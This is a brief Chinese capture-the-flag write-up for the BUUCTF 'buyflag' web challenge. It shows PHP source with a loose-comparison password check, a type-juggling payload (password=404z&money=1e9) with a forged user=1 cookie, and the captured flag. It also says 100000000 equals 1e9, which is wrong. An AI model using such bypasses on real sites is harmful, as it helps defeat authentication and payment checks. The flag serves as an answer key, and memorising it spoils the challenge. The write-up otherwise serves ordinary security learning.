buuctf (buyflag)

打开靶机后有个menu，点击里面的payflag看看

查看源代码看看

~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

从源代码看，我们需要post money 和password两个值

从页面看我们需要100000000money，根据password的条件，password不能全是数字，

于是我们构造payload：password=404z&money=100000000

同时利用hackbar，将cookie里user=1传参

数字过长，我们得想个办法减少，使用科学计数法，将100000000 化为1e9，重新构造payload：

password=404z&money=1e9

得到flag{f6728d16-184e-4aef-bd75-e629b18a39a9}